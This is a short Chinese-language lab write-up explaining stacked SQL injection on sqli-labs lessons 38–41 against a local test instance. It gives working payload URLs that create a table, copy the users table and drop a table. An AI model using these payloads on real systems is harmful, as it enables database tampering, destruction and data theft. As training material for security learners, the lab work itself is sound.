堆叠注入
Stacked injections:堆叠注入
从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
堆叠注入简单来说就是我们执行一个句子,在这个句子后面再加一个句子,分号结束。
参考链接: https://www.cnblogs.com/lcamry/p/5762905.html
Less-38
首先测试注入点,发现本关是单引号包裹
我们尝试使用堆叠注入,在此之前先打开MySQL命令行,show tables查看原来的命令行
使用堆叠注入,新建一个表
http://127.0.0.1/sqli-labs-master/Less-38/?id=1' union select 1,2,3; create table lxk like users;--+
打开命令行查看,发现创建成功
删除新建的表
http://127.0.0.1/sqli-labs-master/Less-38/?id=1'; drop table lxk ;--+
Less-39
无包裹
这一关除了包裹方式不一样,其他的均与第38关相同
http://127.0.0.1/sqli-labs-master/Less-39/?id=1;create table lxk39 like users;insert into lxk39 select * from users;--+
同样的方法可以把它删除
Less-40
这一关使用('1')进行包裹,其他均与第38关相同
Less-41
这一关无包裹,不显示错误,其他均与第38关相同。